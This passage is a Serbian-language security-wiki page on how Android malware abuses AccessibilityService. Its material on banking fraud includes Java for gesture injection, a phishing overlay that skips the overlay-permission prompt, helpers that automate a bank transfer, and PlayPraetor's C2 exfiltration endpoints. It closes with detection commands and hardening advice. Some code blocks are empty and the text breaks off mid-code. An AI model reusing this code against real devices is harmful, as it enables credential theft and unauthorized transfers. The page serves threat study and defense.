# Zloupotreba Accessibility servisa na Androidu
{{#include ../../banners/hacktricks-training.md}}
## Pregled
`AccessibilityService` je kreiran da pomogne korisnicima sa invaliditetom da koriste Android uređaje. Nažalost, iste **moćne automation API-je** (globalna navigacija, unos teksta, slanje gestova, preklapajući prozori…) mogu biti zlonamerno iskorišćene od strane malware-a da se ostvari **potpuna daljinska kontrola** nad telefonom _bez root privilegija_.
Savremeni Android bankarski Trojans i Remote-Access-Trojans (RATs) kao što su **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** i mnogi drugi slede isti recept:
1. Social-engineer-ovati žrtvu da omogući lažni accessibility service (dozvola *BIND_ACCESSIBILITY_SERVICE* smatra se "high-risk" i zahteva eksplicitnu korisničku akciju).
2. Iskoristiti servis da
* presreće svaki UI događaj i tekst koji se pojavi na ekranu,
* ubacuje sintetičke geste (`dispatchGesture`) i globalne akcije (`performGlobalAction`) za automatizaciju bilo kog zadatka koji operator želi,
* crta full-screen overlay-e preko legitimnih aplikacija koristeći tip prozora **TYPE_ACCESSIBILITY_OVERLAY** (bez `SYSTEM_ALERT_WINDOW` prompta!),
* tiho odobrava dodatne runtime dozvole klikom na sistemske dijaloge u ime žrtve.
3. Eksfiltrira podatke ili izvodi **On-Device-Fraud (ODF)** u realnom vremenu dok korisnik gleda potpuno normalan ekran.
---
## Zahtevanje dozvole
```xml
```
Prateći XML definiše kako će lažni dijalog izgledati:
```xml
```
---
## Udaljene primitive za automatizaciju korisničkog interfejsa
```java
public class EvilService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
// harvest text or detect foreground app change
}
// Simulate HOME / BACK / RECENTS …
private void navHome() { performGlobalAction(GLOBAL_ACTION_HOME); }
private void navBack() { performGlobalAction(GLOBAL_ACTION_BACK); }
private void openRecents() { performGlobalAction(GLOBAL_ACTION_RECENTS); }
// Generic tap / swipe
public void tap(float x, float y) {
Path p = new Path(); p.moveTo(x, y);
GestureDescription.StrokeDescription s = new GestureDescription.StrokeDescription(p, 0, 50);
dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, null);
}
}
```
With only these two APIs an attacker can:
* Otključati ekran, otvoriti bankarsku aplikaciju, navigirati kroz njen UI stablo i poslati nalog za prenos.
* Prihvatiti svaki dijalog za dozvole koji se pojavi.
* Instalirati/azurirati dodatne APK-ove putem Play Store intent-a.
---
## Abuse patterns
### 1. Overlay Phishing (Credential Harvesting)
Transparentan ili neprovidan `WebView` se dodaje u menadžer prozora:
```java
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
MATCH_PARENT, MATCH_PARENT,
TYPE_ACCESSIBILITY_OVERLAY, // ⬅ bypasses SYSTEM_ALERT_WINDOW
FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real app
PixelFormat.TRANSLUCENT);
wm.addView(phishingView, lp);
```
Žrtva unosi kredencijale u lažni obrazac dok pozadinska aplikacija prima iste geste – nikakav sumnjiv "draw over other apps" prompt se nikada ne prikazuje.
> Detailed example: the *Accessibility Overlay Phishing* section inside the Tapjacking page.
### 2. On-Device Fraud automation
Malver familije kao što je **PlayPraetor** održava persistentan WebSocket kanal gde operator može izdavati high-level komande (`init`, `update`, `alert_arr`, `report_list`, …). Servis prevodi te komande u gore navedene low-level geste, ostvarujući real-time neautorizovane transakcije koje lako zaobilaze višefaktorsku autentifikaciju vezanu za baš taj uređaj.
### 3. Screen streaming & monitoring
Kombinovanjem **MediaProjection API** sa RTMP client bibliotekom, RAT može emitiratii live framebuffer na `rtmp://:1935/live/`, dajući napadaču potpunu situacionu svest dok Accessibility engine upravlja UI-jem.
---
## PlayPraetor – command & control workflow
1. **HTTP(S) heartbeat** – iterate over a hard-coded list until one domain answers `POST /app/searchPackageName` with the active C2.
2. **WebSocket (port 8282)** – bidirectional JSON commands:
* `update` – push new conf/APKs
* `alert_arr` – configure overlay templates
* `report_list` – send list of targeted package names
* `heartbeat_web` – keep-alive
3. **RTMP (port 1935)** – live screen/video streaming.
4. **REST exfiltration** –
* `/app/saveDevice` (fingerprint)
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
* `/app/saveCardPwd` (bank creds)
The **AccessibilityService** is the local engine that turns those cloud commands into physical interactions.
---
## Otkrivanje malicioznih accessibility servisa
* `adb shell settings get secure enabled_accessibility_services`
* Settings → Accessibility → *Downloaded services* – potražite aplikacije koje **nisu** iz Google Play.
* MDM / EMM rešenja mogu nametnuti `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) da blokiraju sideloaded servise.
* Analizirajte pokrenute servise:
```bash
adb shell dumpsys accessibility | grep "Accessibility Service"
```
---
## Preporuke za hardening za developere aplikacija
* Označite osetljive prikaze atributom `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
* Kombinujte `setFilterTouchesWhenObscured(true)` sa `FLAG_SECURE` da sprečite tap/overlay hijacking.
* Otkrivajte overlay-e proverom `WindowManager.getDefaultDisplay().getFlags()` ili koristeći `ViewRootImpl` API.
* Odbijajte rad kada `Settings.canDrawOverlays()` **ili** nepouzdani Accessibility servis bude aktivan.
---
## ATS automation cheat-sheet (Accessibility-driven)
Malver može potpuno automatizovati bankarsku aplikaciju koristeći samo Accessibility APIs. Generičke primitive:
```java
// Helpers inside your AccessibilityService
private List byText(String t){
AccessibilityNodeInfo r = getRootInActiveWindow();
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
}
private boolean clickText(String t){
for (AccessibilityNodeInfo n: byText(t)){
if (n.isClickable()) return n.performAction(ACTION_CLICK);
AccessibilityNodeInfo p = n.getParent();
if (p != null) return p.performAction(ACTION_CLICK);
}
return false;
}
private void inputText(AccessibilityNodeInfo field, String text){
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
field.performAction(ACTION_SET_TEXT, b);
}
private void tap(float x, float y){
Path p = new Path(); p.moveTo(x,y);
dispatchGesture(new GestureDescription.Builder()
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
}
```
Primer toka (češki → engleske oznake):
- "Nová platba" (Nova uplata) → klik
- "Zadat platbu" (Unesi plaćanje) → klik
- "Nový příjemce" (Novi primalac) → klik
- "Domácí číslo účtu" (Domaći broj računa) → postavi fokus i `ACTION_SET_TEXT`
- "Další" (Dalje) → klik → … "Zaplatit" (Plati) → klik → unesi PIN
Fallback: fiksne koordinate sa `dispatchGesture` kada pretraga teksta zakaže zbog prilagođenih widgeta.
Takođe primećeno: predkoraci za `check_limit` i `limit` navigacijom do limits UI i povećanjem dnevnih limita pre transfera.
## Tekstualno pseudo-screen streaming
Za kontrolu sa malim kašnjenjem, umesto potpunog video streaminga, ispiši tekstualnu reprezentaciju trenutnog UI stabla i ponavljano je šalji na C2.
```java
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
if (n==null) return;
Rect b = new Rect(); n.getBoundsInScreen(b);
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
sb.append(indent).append("[").append(cls).append("] ")
.append(txt==null?"":txt).append(" ")
.append(b.toShortString()).append("\n");
for (int i=0;i